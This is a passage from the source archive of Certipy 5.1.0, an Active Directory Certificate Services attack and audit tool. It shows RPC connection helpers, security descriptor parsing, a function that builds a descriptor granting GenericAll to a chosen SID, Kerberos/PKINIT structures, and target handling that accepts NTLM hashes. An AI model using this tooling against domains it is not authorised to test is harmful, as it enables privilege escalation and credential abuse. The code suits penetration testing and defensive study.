target.password,
domain,
target.lmhash,
target.nthash,
TGS=tgs,
)
# Get DCE RPC object and configure it
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(auth_level)
if target.do_kerberos:
dce.set_auth_type(rpcrt.RPC_C_AUTHN_GSS_NEGOTIATE)
return dce
def get_dynamic_endpoint(
interface: bytes, target: str, timeout: int = 5
) -> Optional[str]:
"""
Resolve a dynamic endpoint for an RPC interface.
Args:
interface: RPC interface identifier (UUID)
target: Target hostname or IP address
timeout: Connection timeout in seconds
Returns:
Resolved endpoint string or None if resolution fails
Notes:
Uses the endpoint mapper (port 135) to resolve the dynamic endpoint
"""
string_binding = f"ncacn_ip_tcp:{target}[135]"
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.set_connect_timeout(timeout)
dce = rpctransport.get_dce_rpc()
interface_str = uuid.bin_to_string(interface)
logging.debug(f"Trying to resolve dynamic endpoint {interface_str}")
# Connect to endpoint mapper
try:
dce.connect()
except Exception as e:
logging.warning(f"Failed to connect to endpoint mapper: {e}")
handle_error(True)
return None
# Try to resolve endpoint
try:
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
logging.debug(f"Resolved dynamic endpoint {interface_str} to {endpoint}")
return endpoint
except Exception as e:
logging.warning(f"Failed to resolve dynamic endpoint {interface_str}: {e}")
handle_error(True)
return None
def get_dce_rpc(
interface: bytes,
named_pipe: str,
target: Target,
timeout: int = 5,
dynamic: bool = False,
auth_level_np: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_level_dyn: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
) -> Optional[rpcrt.DCERPC_v5]:
"""
Get a connected DCE RPC interface.
This function attempts to connect to an RPC interface using either named pipes
or dynamic endpoints. It will try multiple methods if the first fails.
Args:
interface: RPC interface identifier (UUID)
named_pipe: Named pipe path to connect to
target: Target object containing connection parameters
timeout: Connection timeout in seconds
dynamic: If True, try dynamic endpoint first, otherwise try named pipe first
auth_level_np: Authentication level for named pipe connections
auth_level_dyn: Authentication level for dynamic endpoint connections
Returns:
Connected DCERPC_v5 object or None if all connection attempts fail
"""
def _try_binding(string_binding: str, auth_level: int) -> Optional[rpcrt.DCERPC_v5]:
"""Try to connect to a specific string binding."""
dce = get_dce_rpc_from_string_binding(
string_binding, target, timeout, auth_level=auth_level
)
logging.debug(f"Trying to connect to endpoint: {string_binding}")
try:
dce.connect()
except Exception as e:
if is_verbose():
logging.warning(f"Failed to connect to endpoint {string_binding}: {e}")
handle_error(True)
return None
logging.debug(f"Connected to endpoint: {string_binding}")
# Bind to the interface
try:
_ = dce.bind(interface)
return dce
except Exception as e:
if is_verbose():
logging.warning(f"Failed to bind to interface: {e}")
handle_error(True)
return None
def _try_np() -> Optional[rpcrt.DCERPC_v5]:
"""Try named pipe connection."""
if not target.target_ip:
logging.error("Target IP is not set")
return None
string_binding = f"ncacn_np:{target.target_ip}[{named_pipe}]"
return _try_binding(string_binding, auth_level=auth_level_np)
def _try_dyn() -> Optional[rpcrt.DCERPC_v5]:
"""Try dynamic endpoint connection."""
if not target.target_ip:
logging.error("Target IP is not set")
return None
string_binding = get_dynamic_endpoint(interface, target.target_ip, timeout)
if string_binding is None:
# Possible errors:
# - TCP Port 135 is firewalled off
# - Service is not running
logging.error(
f"Failed to get dynamic TCP endpoint for {uuid.bin_to_string(interface)}"
)
return None
return _try_binding(string_binding, auth_level=auth_level_dyn)
# Determine which method to try first
methods = [_try_dyn, _try_np] if dynamic else [_try_np, _try_dyn]
# Try connection methods in order
for method in methods:
dce = method()
if dce is not None:
return dce
return None
Certipy-5.1.0/certipy/lib/security.py 0000775 0000000 0000000 00000020533 15216574665 0017631 0 ustar 00root root 0000000 0000000 """
Security module for parsing and interpreting Active Directory security descriptors.
This module provides classes for handling security descriptors related to:
- Active Directory objects
- Certificates
- Certificate Issuance Policies
- Certification Authorities
"""
import re
from typing import Any, Dict
from impacket.ldap import ldaptypes
from impacket.uuid import bin_to_string
from ldap3.protocol.formatters.formatters import format_sid
from certipy.lib.constants import (
EXTENDED_RIGHTS_NAME_MAP,
ActiveDirectoryRights,
CertificateAuthorityRights,
CertificateRights,
IssuancePolicyRights,
)
# Access Control Entry flags
INHERITED_ACE = 0x10
SE_DACL_PRESENT = 0x0004
SE_DACL_AUTO_INHERITED = 0x0400
SE_SACL_AUTO_INHERITED = 0x0800
SE_DACL_PROTECTED = 0x1000
SE_SELF_RELATIVE = 0x8000
class SecurityDescriptorParser:
"""Base class for parsing security descriptors."""
RIGHTS_TYPE = None # Must be defined by subclasses
def __init__(self, security_descriptor: bytes):
"""
Initialize a security descriptor parser.
Args:
security_descriptor: Binary representation of a security descriptor
"""
if self.RIGHTS_TYPE is None:
raise NotImplementedError("Subclasses must define RIGHTS_TYPE")
# Parse the security descriptor
self.sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
self.sd.fromString(security_descriptor)
# Extract owner SID
self.owner = format_sid(self.sd["OwnerSid"].getData())
# Dictionary to store access control entries by SID
self.aces: Dict[str, Dict[str, Any]] = {}
# Parse the ACEs
self._parse_aces()
def _parse_aces(self) -> None:
"""Parse the access control entries from the security descriptor."""
pass # To be implemented by subclasses
class ActiveDirectorySecurity(SecurityDescriptorParser):
"""Parser for Active Directory security descriptors."""
RIGHTS_TYPE = ActiveDirectoryRights
def _parse_aces(self) -> None:
"""
Parse the access control entries from the security descriptor.
This method extracts both standard rights and extended rights.
"""
aces = self.sd["Dacl"]["Data"]
# TODO: Handle DENIED ACEs
for ace in aces:
sid = format_sid(ace["Ace"]["Sid"].getData())
# Initialize entry for this SID if not already present
if sid not in self.aces:
self.aces[sid] = {
"rights": self.RIGHTS_TYPE(0),
"extended_rights": [],
"inherited": bool(ace["AceFlags"] & INHERITED_ACE),
# Tracks if a standard ACCESS_ALLOWED_ACE grants control access (0x00000100)
"has_standard_control_access": False,
}
# Process standard access allowed ACE
if ace["AceType"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
mask = self.RIGHTS_TYPE(ace["Ace"]["Mask"]["Mask"])
self.aces[sid]["rights"] |= mask
# Rule 2 (MS-CRTD): ACCESS_ALLOWED_ACE with control access bit set
if mask & ActiveDirectoryRights.EXTENDED_RIGHT:
self.aces[sid]["has_standard_control_access"] = True
# Process object-specific ACE (for extended rights)
elif ace["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[
"Ace"
]["Mask"].hasPriv(
ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
):
mask = self.RIGHTS_TYPE(ace["Ace"]["Mask"]["Mask"])
self.aces[sid]["rights"] |= mask
# Extract the specific extended right (identified by UUID)
if ace["Ace"].hasFlag(
ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
):
uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower()
else:
# If no specific GUID is provided, this grants all extended rights
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb
uuid = EXTENDED_RIGHTS_NAME_MAP["All-Extended-Rights"]
self.aces[sid]["extended_rights"].append(uuid)
def to_bytes(self) -> bytes:
"""
Convert the security descriptor to its binary representation.
Returns:
Binary representation of the security descriptor
"""
return self.sd.getData()
class CertificateSecurity(ActiveDirectorySecurity):
"""Parser for certificate template security descriptors."""
RIGHTS_TYPE = CertificateRights
class IssuancePolicySecurity(ActiveDirectorySecurity):
"""Parser for certificate issuance policy security descriptors."""
RIGHTS_TYPE = IssuancePolicyRights
class CASecurity(SecurityDescriptorParser):
"""Parser for Certification Authority security descriptors."""
RIGHTS_TYPE = CertificateAuthorityRights
def _parse_aces(self) -> None:
"""
Parse the access control entries from the security descriptor.
CA security descriptors have a simpler structure than AD security descriptors.
"""
aces = self.sd["Dacl"]["Data"]
for ace in aces:
sid = format_sid(ace["Ace"]["Sid"].getData())
if sid not in self.aces:
self.aces[sid] = {
"rights": self.RIGHTS_TYPE(0),
"extended_rights": [], # CAs don't use extended rights, but keeping for consistency
"inherited": bool(ace["AceFlags"] & INHERITED_ACE),
}
if ace["AceType"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
mask = self.RIGHTS_TYPE(ace["Ace"]["Mask"]["Mask"])
self.aces[sid]["rights"] |= mask
def is_admin_sid(sid: str) -> bool:
"""
Check if a security identifier (SID) belongs to an administrative group.
This function identifies built-in administrator accounts and groups by their well-known SIDs.
Args:
sid: The security identifier to check
Returns:
True if the SID belongs to an administrative group, False otherwise
Common Admin SIDs:
- S-1-5-21-*-498: Enterprise Read-Only Domain Controllers group
- S-1-5-21-*-500: Built-in Administrator account
- S-1-5-21-*-502: Krbtgt account
- S-1-5-21-*-512: Domain Admins group
- S-1-5-21-*-516: Domain Controllers group
- S-1-5-21-*-518: Schema Admins group
- S-1-5-21-*-519: Enterprise Admins group
- S-1-5-21-*-521: Read-only Domain Controllers group
- S-1-5-32-544: Built-in Administrators group
- S-1-5-9: Enterprise Domain Controllers
"""
admin_rid_pattern = "^S-1-5-21-.+-(498|500|502|512|516|518|519|521)$"
builtin_admin_sids = ["S-1-5-9", "S-1-5-32-544"]
return re.match(admin_rid_pattern, sid) is not None or sid in builtin_admin_sids
def create_ace(sid: str, mask: CertificateRights) -> ldaptypes.ACE:
ace = ldaptypes.ACE()
ace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
ace["AceFlags"] = 0x00
ace_data = ldaptypes.ACCESS_ALLOWED_ACE()
ace_data["Mask"] = ldaptypes.ACCESS_MASK()
ace_data["Mask"]["Mask"] = mask
ace_data["Sid"] = ldaptypes.LDAP_SID()
ace_data["Sid"].fromCanonical(sid)
ace["Ace"] = ace_data
return ace
def create_sd(sid: str) -> ldaptypes.SR_SECURITY_DESCRIPTOR:
"""
Create a security descriptor setting `sid` as owner,
and also add an ACE of GenericAll for `sid`,
and also add an ACE of GenericRead for authenticated users
(otherwise subsequent `certipy req` fails).
"""
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd["Revision"] = b"\x01"
sd["Sbz1"] = b"\x00"
sd["Control"] = (
SE_DACL_PRESENT
| SE_DACL_AUTO_INHERITED
| SE_SACL_AUTO_INHERITED
| SE_DACL_PROTECTED
| SE_SELF_RELATIVE
)
sd["OwnerSid"] = ldaptypes.LDAP_SID()
sd["OwnerSid"].fromCanonical(sid)
sd["GroupSid"] = ldaptypes.LDAP_SID()
sd["GroupSid"] = b""
sd["Sacl"] = b""
acl = ldaptypes.ACL()
acl["AclRevision"] = 2
acl["Sbz1"] = 0
acl["Sbz2"] = 0
acl.aces = []
acl.aces.append(create_ace(sid, CertificateRights.GENERIC_ALL))
acl.aces.append(create_ace("S-1-5-11", CertificateRights.GENERIC_READ))
sd["Dacl"] = acl
return sd
Certipy-5.1.0/certipy/lib/structs.py 0000775 0000000 0000000 00000041167 15216574665 0017477 0 ustar 00root root 0000000 0000000 """
Kerberos protocol ASN.1 structure definitions.
This module defines the ASN.1 structures used in Kerberos authentication
protocol and Microsoft extensions, implemented using the asn1crypto library.
It also provides enhanced Enum types with better string representation.
"""
import enum
from typing import List
from asn1crypto import cms, core, csr, keys, x509
from certipy.lib.formatting import to_pascal_case
# ASN.1 tag constants
TAG = "explicit"
APPLICATION = 1
CONTEXT = 2
class IntFlag(enum.IntFlag):
"""
Enhanced IntFlag with smart string representation.
"""
def to_list(self) -> List["IntFlag"]:
"""
Decompose flag into list of individual flags.
Returns:
List of individual flag members
"""
if not self._value_:
return []
# Get all individual flags that make up this value
return [
flag for flag in self.__class__ if flag.value and flag.value & self._value_
]
def to_str_list(self) -> List[str]:
"""
Return list of flag names.
Returns:
List of flag names
"""
return [
to_pascal_case(flag.name)
for flag in self.to_list()
if flag.name is not None
]
def __str__(self) -> str:
"""
Smart string representation that handles combinations gracefully.
Returns:
Human-readable string representation of the flag(s)
"""
# Handle named values
if self.name is not None:
return to_pascal_case(self.name)
# Handle empty flags
if not self._value_:
return ""
# Get individual flags
flags = self.to_list()
# If no decomposition was possible, return the raw value
if not flags:
return repr(self._value_)
# Return comma-separated list of flag names
return ", ".join(
to_pascal_case(flag.name) for flag in flags if flag.name is not None
)
def __repr__(self) -> str:
return str(self)
class Flag(enum.Flag):
"""
Enhanced Flag with smart string representation.
"""
def to_list(self) -> List["Flag"]:
"""
Decompose flag into list of individual flags.
Returns:
List of individual flag members
"""
if not self._value_:
return []
# Get all individual flags that make up this value
return [
flag for flag in self.__class__ if flag.value and flag.value & self._value_
]
def to_str_list(self) -> List[str]:
"""
Return list of flag names.
Returns:
List of flag names
"""
return [
to_pascal_case(flag.name)
for flag in self.to_list()
if flag.name is not None
]
def __str__(self) -> str:
"""
Smart string representation that handles combinations gracefully.
Returns:
Human-readable string representation of the flag(s)
"""
# Handle named values
if self.name is not None:
return to_pascal_case(self.name)
# Handle empty flags
if not self._value_:
return ""
# Get individual flags
flags = self.to_list()
# If no decomposition was possible, return the raw value
if not flags:
return repr(self._value_)
# Return comma-separated list of flag names
return ", ".join(
to_pascal_case(flag.name) for flag in flags if flag.name is not None
)
def __repr__(self) -> str:
return str(self)
# =========================================================================
# Basic ASN.1 structures
# =========================================================================
class SequenceOfEnctype(core.SequenceOf):
"""Sequence of Kerberos encryption types."""
_child_spec = core.Integer
class SequenceOfKerberosString(core.SequenceOf):
"""Sequence of Kerberos strings."""
_child_spec = core.GeneralString
class PrincipalName(core.Sequence):
"""
Kerberos principal name structure.
Represents a service or user principal in the format of name-type and name-string.
"""
_fields = [
("name-type", core.Integer, {"tag_type": TAG, "tag": 0}),
("name-string", SequenceOfKerberosString, {"tag_type": TAG, "tag": 1}),
]
class HostAddress(core.Sequence):
"""
Network host address structure.
Contains address type and the actual address data.
"""
_fields = [
("addr-type", core.Integer, {"tag_type": TAG, "tag": 0}),
("address", core.OctetString, {"tag_type": TAG, "tag": 1}),
]
class HostAddresses(core.SequenceOf):
"""Collection of host addresses."""
_child_spec = HostAddress
class KDCOptions(core.BitString):
"""
Kerberos KDC request options bitmap.
This structure represents the various options that can be set in a Kerberos request.
"""
_map = {
0: "reserved",
1: "forwardable",
2: "forwarded",
3: "proxiable",
4: "proxy",
5: "allow-postdate",
6: "postdated",
7: "unused7",
8: "renewable",
9: "unused9",
10: "unused10",
11: "opt-hardware-auth",
12: "unused12",
13: "unused13",
14: "constrained-delegation", # cname-in-addl-tkt (14)
15: "canonicalize",
16: "request-anonymous",
17: "unused17",
18: "unused18",
19: "unused19",
20: "unused20",
21: "unused21",
22: "unused22",
23: "unused23",
24: "unused24",
25: "unused25",
26: "disable-transited-check",
27: "renewable-ok",
28: "enc-tkt-in-skey",
30: "renew",
31: "validate",
}
class EncryptedData(core.Sequence):
"""
Generic encrypted data container for Kerberos.
Contains encryption type, optional key version, and the encrypted content.
"""
_fields = [
("etype", core.Integer, {"tag_type": TAG, "tag": 0}), # EncryptionType
(
"kvno",
core.Integer,
{"tag_type": TAG, "tag": 1, "optional": True},
), # Key version number
("cipher", core.OctetString, {"tag_type": TAG, "tag": 2}), # Ciphertext
]
class Ticket(core.Sequence):
"""
Kerberos ticket structure.
Contains ticket version, realm, service name, and encrypted ticket part.
"""
explicit = (APPLICATION, 1)
_fields = [
("tkt-vno", core.Integer, {"tag_type": TAG, "tag": 0}),
("realm", core.GeneralString, {"tag_type": TAG, "tag": 1}),
("sname", PrincipalName, {"tag_type": TAG, "tag": 2}),
("enc-part", EncryptedData, {"tag_type": TAG, "tag": 3}), # EncTicketPart
]
class SequenceOfTicket(core.SequenceOf):
"""Collection of Kerberos tickets."""
_child_spec = Ticket
class PaData(core.Sequence):
"""
Pre-authentication data structure.
Used for various authentication mechanisms in Kerberos.
"""
_fields = [
("padata-type", core.Integer, {"tag_type": TAG, "tag": 1}),
("padata-value", core.OctetString, {"tag_type": TAG, "tag": 2}),
]
class MethodData(core.SequenceOf):
"""Collection of pre-authentication data elements."""
_child_spec = PaData
class KdcReqBody(core.Sequence):
"""
KDC request body structure.
Contains the core parameters for KDC requests like AS-REQ and TGS-REQ.
"""
_fields = [
("kdc-options", KDCOptions, {"tag_type": TAG, "tag": 0}),
("cname", PrincipalName, {"tag_type": TAG, "tag": 1, "optional": True}),
("realm", core.GeneralString, {"tag_type": TAG, "tag": 2}),
("sname", PrincipalName, {"tag_type": TAG, "tag": 3, "optional": True}),
("from", core.GeneralizedTime, {"tag_type": TAG, "tag": 4, "optional": True}),
("till", core.GeneralizedTime, {"tag_type": TAG, "tag": 5, "optional": True}),
("rtime", core.GeneralizedTime, {"tag_type": TAG, "tag": 6, "optional": True}),
("nonce", core.Integer, {"tag_type": TAG, "tag": 7}),
(
"etype",
SequenceOfEnctype,
{"tag_type": TAG, "tag": 8},
), # Encryption types in preference order
("addresses", HostAddresses, {"tag_type": TAG, "tag": 9, "optional": True}),
(
"enc-authorization-data",
EncryptedData,
{"tag_type": TAG, "tag": 10, "optional": True},
),
(
"additional-tickets",
SequenceOfTicket,
{"tag_type": TAG, "tag": 11, "optional": True},
),
]
class KdcReq(core.Sequence):
"""
Base KDC request structure.
Parent class for AS-REQ and TGS-REQ messages.
"""
_fields = [
("pvno", core.Integer, {"tag_type": TAG, "tag": 1}),
("msg-type", core.Integer, {"tag_type": TAG, "tag": 2}),
("padata", MethodData, {"tag_type": TAG, "tag": 3, "optional": True}),
("req-body", KdcReqBody, {"tag_type": TAG, "tag": 4}),
]
class AsReq(KdcReq):
"""
Authentication Service Request (AS-REQ).
Initial request in Kerberos authentication to obtain a TGT.
"""
explicit = (APPLICATION, 10)
class PaPacRequest(core.Sequence):
"""
Microsoft PAC request pre-authentication data.
Controls whether a Privilege Attribute Certificate should be included in the ticket.
"""
_fields = [
("include-pac", core.Boolean, {"tag_type": TAG, "tag": 0}),
]
# =========================================================================
# Kerberos Types and Enumerations
# =========================================================================
class NameType:
"""Kerberos name types from RFC 4120."""
UNKNOWN = 0 # Name type not known
PRINCIPAL = 1 # Just the name of the principal
SRV_INST = 2 # Service and other unique instance (krbtgt)
SRV_HST = 3 # Service with host name as instance
SRV_XHST = 4 # Service with host as remaining components
UID = 5 # Unique ID
X500_PRINCIPAL = 6 # PKINIT
SMTP_NAME = 7 # Name in form of SMTP email name
ENTERPRISE_PRINCIPAL = 10 # Windows 2000 UPN
WELLKNOWN = 11 # Wellknown
ENT_PRINCIPAL_AND_ID = -130 # Windows 2000 UPN and SID
MS_PRINCIPAL = -128 # NT 4 style name
MS_PRINCIPAL_AND_ID = -129 # NT style name and SID
NTLM = -1200 # NTLM name, realm is domain
class EncType(enum.IntEnum):
"""Kerberos encryption types."""
DES_CRC = 1
DES_MD4 = 2
DES_MD5 = 3
DES3 = 16
AES128 = 17
AES256 = 18
RC4 = 23
class AlgorithmIdentifiers(core.SequenceOf):
"""Sequence of algorithm identifiers."""
_child_spec = x509.AlgorithmIdentifier
class ExternalPrincipalIdentifier(core.Sequence):
"""External principal identifier for PKINIT."""
_fields = [
(
"subjectName",
core.OctetString,
{"tag_type": "implicit", "tag": 0, "optional": True},
),
(
"issuerAndSerialNumber",
core.OctetString,
{"tag_type": "implicit", "tag": 1, "optional": True},
),
(
"subjectKeyIdentifier",
core.OctetString,
{"tag_type": "implicit", "tag": 2, "optional": True},
),
]
class KDCDHKeyInfo(core.Sequence):
"""KDC-generated DH key information."""
_fields = [
("subjectPublicKey", core.BitString, {"tag_type": "explicit", "tag": 0}),
("nonce", core.Integer, {"tag_type": "explicit", "tag": 1}),
(
"dhKeyExpiration",
core.GeneralizedTime,
{"tag_type": "explicit", "tag": 2, "optional": True},
),
]
class ExternalPrincipalIdentifiers(core.SequenceOf):
"""Sequence of external principal identifiers."""
_child_spec = ExternalPrincipalIdentifier
class DHRepInfo(core.Sequence):
"""DH reply information."""
_fields = [
("dhSignedData", core.OctetString, {"tag_type": "implicit", "tag": 0}),
(
"serverDHNonce",
core.OctetString,
{"tag_type": "explicit", "tag": 1, "optional": True},
),
]
class PaPkAsReq(core.Sequence):
"""PKINIT request structure."""
_fields = [
("signedAuthPack", core.OctetString, {"tag_type": "implicit", "tag": 0}),
(
"trustedCertifiers",
ExternalPrincipalIdentifiers,
{"tag_type": "explicit", "tag": 1, "optional": True},
),
(
"kdcPkId",
core.OctetString,
{"tag_type": "implicit", "tag": 2, "optional": True},
),
]
class PaPkAsRep(core.Choice):
"""PKINIT response structure."""
_alternatives = [
("dhInfo", DHRepInfo, {"explicit": (2, 0)}),
("encKeyPack", core.OctetString, {"implicit": (2, 1)}),
]
class PKAuthenticator(core.Sequence):
"""PKINIT authenticator structure."""
_fields = [
("cusec", core.Integer, {"tag_type": "explicit", "tag": 0}),
("ctime", core.GeneralizedTime, {"tag_type": "explicit", "tag": 1}),
("nonce", core.Integer, {"tag_type": "explicit", "tag": 2}),
(
"paChecksum",
core.OctetString,
{"tag_type": "explicit", "tag": 3, "optional": True},
),
]
class AuthPack(core.Sequence):
"""PKINIT authentication pack."""
_fields = [
("pkAuthenticator", PKAuthenticator, {"tag_type": "explicit", "tag": 0}),
(
"clientPublicValue",
keys.PublicKeyInfo,
{"tag_type": "explicit", "tag": 1, "optional": True},
),
(
"supportedCMSTypes",
AlgorithmIdentifiers,
{"tag_type": "explicit", "tag": 2, "optional": True},
),
(
"clientDHNonce",
core.OctetString,
{"tag_type": "explicit", "tag": 3, "optional": True},
),
]
# =========================================================================
# ASN.1 structures for Microsoft certificate operations
# =========================================================================
class TaggedCertificationRequest(core.Sequence):
"""ASN.1 structure for a tagged certification request."""
_fields = [
("bodyPartID", core.Integer),
("certificationRequest", csr.CertificationRequest),
]
class TaggedRequest(core.Choice):
"""ASN.1 structure for PKI request types."""
_alternatives = [
("tcr", TaggedCertificationRequest, {"implicit": 0}),
("crm", core.Any, {"implicit": 1}),
("orm", core.Any, {"implicit": 2}),
]
class TaggedAttribute(core.Sequence):
"""ASN.1 structure for a tagged attribute."""
_fields = [
("bodyPartID", core.Integer),
("attrType", core.ObjectIdentifier),
("attrValues", cms.SetOfAny),
]
class TaggedAttributes(core.SequenceOf):
"""Sequence of TaggedAttribute objects."""
_child_spec = TaggedAttribute
class TaggedRequests(core.SequenceOf):
"""Sequence of TaggedRequest objects."""
_child_spec = TaggedRequest
class TaggedContentInfos(core.SequenceOf):
"""Sequence of ContentInfo objects."""
_child_spec = core.Any # not implemented
class OtherMsgs(core.SequenceOf):
"""Sequence of other message types."""
_child_spec = core.Any # not implemented
class PKIData(core.Sequence):
"""ASN.1 structure for PKI data container."""
_fields = [
("controlSequence", TaggedAttributes),
("reqSequence", TaggedRequests),
("cmsSequence", TaggedContentInfos),
("otherMsgSequence", OtherMsgs),
]
class CertReference(core.SequenceOf):
"""Reference to certificates by ID."""
_child_spec = core.Integer
class CMCAddAttributesInfo(core.Sequence):
"""ASN.1 structure for CMC AddAttributesInfo."""
_fields = [
("data_reference", core.Integer),
("cert_reference", CertReference),
("attributes", csr.SetOfAttributes),
]
class EnrollmentNameValuePair(core.Sequence):
"""ASN.1 structure for name-value pairs in enrollment requests."""
_fields = [
("name", core.BMPString),
("value", core.BMPString),
]
class EnrollmentNameValuePairs(core.SetOf):
"""Set of EnrollmentNameValuePair objects."""
_child_spec = EnrollmentNameValuePair
def e2i(enum: int) -> int:
"""
Convert an Impacket enum member to its integer value.
Static type analysis is confused by the fact that Impacket enums are
not standard Python enums. This function provides a workaround.
Args:
enum: The enum member to convert.
Returns:
The integer value of the enum member.
"""
return enum.value # type: ignore
Certipy-5.1.0/certipy/lib/target.py 0000775 0000000 0000000 00000040456 15216574665 0017256 0 ustar 00root root 0000000 0000000 """
Target management module for Certipy.
This module provides functionality for creating and managing target objects
that represent authentication endpoints. It handles:
- Authentication parameters (username, password, hashes, Kerberos tickets)
- Target name resolution (DNS, local resolution, IP address validation)
- Connection settings (timeouts, ports, protocol options)
- Domain controller discovery
- Kerberos ticket cache integration
The primary class is Target, which encapsulates all connection parameters
needed to authenticate to and interact with Windows/Active Directory services.
Helper classes like DnsResolver provide supporting functionality.
"""
import argparse
import os
import socket
from typing import Dict, Optional, Tuple
from dns.resolver import Resolver
from impacket.krb5.ccache import CCache
from certipy.lib.errors import handle_error
from certipy.lib.logger import logging
class Target:
"""
Class representing an authentication target with all necessary connection details.
"""
def __init__(
self,
resolver: "DnsResolver",
domain: str = "",
username: str = "",
password: Optional[str] = None,
remote_name: str = "",
hashes: Optional[str] = None,
lmhash: str = "",
nthash: str = "",
do_kerberos: bool = False,
do_simple: bool = False,
aes: Optional[str] = None,
dc_ip: Optional[str] = None,
dc_host: Optional[str] = None,
target_ip: Optional[str] = None,
timeout: int = 5,
ldap_scheme: str = "ldaps",
ldap_port: Optional[int] = None,
ldap_channel_binding: bool = True,
ldap_signing: bool = True,
ldap_user_dn: Optional[str] = None,
) -> None:
"""
Initialize a Target with the specified connection parameters.
Args:
resolver: DNS resolver for hostname resolution
domain: Domain name (empty string if not specified)
username: Username (empty string if not specified)
password: Password (None if not specified)
remote_name: Remote target name (empty string if not specified)
hashes: NTLM hashes in format LM:NT
lmhash: LM hash
nthash: NT hash
do_kerberos: Use Kerberos authentication
do_simple: Use simple authentication
aes: AES key for Kerberos authentication
dc_ip: Domain controller IP
dc_host: Domain controller hostname
target_ip: Target IP address
timeout: Connection timeout in seconds
ldap_scheme: LDAP scheme (default is ldaps)
ldap_port: LDAP port to use
ldap_channel_binding: Use LDAP channel binding
ldap_signing: Use LDAP signing
ldap_user_dn: LDAP user distinguished name
"""
self.resolver = resolver
self.domain: str = domain
self.username: str = username
self.password: Optional[str] = password
self.remote_name: str = remote_name
self.hashes: Optional[str] = hashes
self.lmhash: str = lmhash
self.nthash: str = nthash
self.do_kerberos: bool = do_kerberos
self.do_simple: bool = do_simple
self.aes: Optional[str] = aes
self.dc_ip: Optional[str] = dc_ip
self.dc_host: Optional[str] = dc_host
self.target_ip: Optional[str] = target_ip
self.timeout: int = timeout
self.ldap_scheme: str = ldap_scheme
self.ldap_port: Optional[int] = ldap_port
self.ldap_channel_binding: bool = ldap_channel_binding
self.ldap_signing: bool = ldap_signing
self.ldap_user_dn: Optional[str] = ldap_user_dn
@staticmethod
def from_options(
options: argparse.Namespace,
dc_as_target: bool = False,
require_username: bool = True,
) -> "Target":
"""
Create a Target from command line options.
Args:
options: Command line options
dc_as_target: Whether to use DC as target
Returns:
Target: Configured target object
Raises:
Exception: If no target can be determined
"""
# Domain controller options
dc_ip = options.dc_ip if hasattr(options, "dc_ip") else None
dc_host = options.dc_host if hasattr(options, "dc_host") else None
# Target machine options
target_ip = options.target_ip if hasattr(options, "target_ip") else None
target = options.target if hasattr(options, "target") else None
# DNS options
ns = options.ns if hasattr(options, "ns") else dc_ip
dns_tcp = options.dns_tcp if hasattr(options, "dns_tcp") else False
# Connection options
timeout = options.timeout if hasattr(options, "timeout") else 10
# Authentication options
principal = options.username if hasattr(options, "username") else None
password = options.password if hasattr(options, "password") else None
hashes = options.hashes if hasattr(options, "hashes") else None
do_kerberos = options.do_kerberos if hasattr(options, "do_kerberos") else False
do_simple = options.do_simple if hasattr(options, "do_simple") else False
aes = options.aes if hasattr(options, "aes") else None
no_pass = options.no_pass if hasattr(options, "no_pass") else False
# LDAP options
ldap_scheme = (
options.ldap_scheme if hasattr(options, "ldap_scheme") else "ldaps"
)
ldap_port = options.ldap_port if hasattr(options, "ldap_port") else None
no_ldap_channel_binding = (
options.no_ldap_channel_binding
if hasattr(options, "no_ldap_channel_binding")
else False
)
no_ldap_signing = (
options.no_ldap_signing if hasattr(options, "no_ldap_signing") else False
)
ldap_user_dn = (
options.ldap_user_dn if hasattr(options, "ldap_user_dn") else None
)
# Parse username and domain from principal format (user@DOMAIN)
domain = ""
username = ""
if principal is not None:
parts = principal.split("@")
if len(parts) == 1:
username = parts[0]
else:
username = "@".join(parts[:-1])
domain = parts[-1]
# Handle Kerberos authentication
if do_kerberos:
principal = get_kerberos_principal()
if principal:
username, domain = principal
# Normalize domain and username
domain = domain.upper()
username = username.upper()
if require_username and len(username) == 0:
logging.error("Username is not specified")
# Handle password input
if (
not password
and username != ""
and hashes is None
and aes is None
and no_pass is not True
and do_kerberos is not True
):
from getpass import getpass
password = getpass("Password:")
# Parse hashes if provided
lmhash = ""
nthash = ""
if hashes is not None:
hash_parts = hashes.split(":")
if len(hash_parts) == 1:
nthash = hash_parts[0]
lmhash = nthash
else:
lmhash, nthash = hash_parts
if len(lmhash) == 0:
lmhash = nthash
# AES key implies Kerberos
if aes is not None:
do_kerberos = True
# Determine remote target name
remote_name = target or ""
if do_kerberos and not remote_name:
logging.warning(
"Target name (-target) not specified and Kerberos authentication is used. This might fail"
)
if dc_as_target:
if not remote_name and dc_host:
remote_name = dc_host
if not remote_name:
logging.debug(
f"Target name (-target) and DC host (-dc-host) not specified. Using domain {domain!r} as target name. This might fail for cross-realm operations"
)
remote_name = domain
if not target_ip and dc_ip:
target_ip = dc_ip
if not dc_host:
dc_host = remote_name
else:
if not dc_host and domain:
if do_kerberos:
logging.warning(
"DC host (-dc-host) not specified and Kerberos authentication is used. This might fail"
)
logging.debug(
"DC host (-dc-host) not specified. Using domain as DC host"
)
dc_host = domain
if not remote_name:
if target_ip:
remote_name = target_ip
elif dc_host:
remote_name = dc_host
elif dc_ip:
remote_name = dc_ip
elif domain:
remote_name = domain
else:
raise Exception("Could not find a target in the specified options")
# Configure LDAP optinos
if ldap_port is None:
if ldap_scheme == "ldap":
ldap_port = 389
else:
ldap_port = 636
# Adjust DC IP if needed
if dc_as_target and dc_ip is None and is_ip(remote_name):
dc_ip = remote_name
# Handle target IP
if is_ip(remote_name):
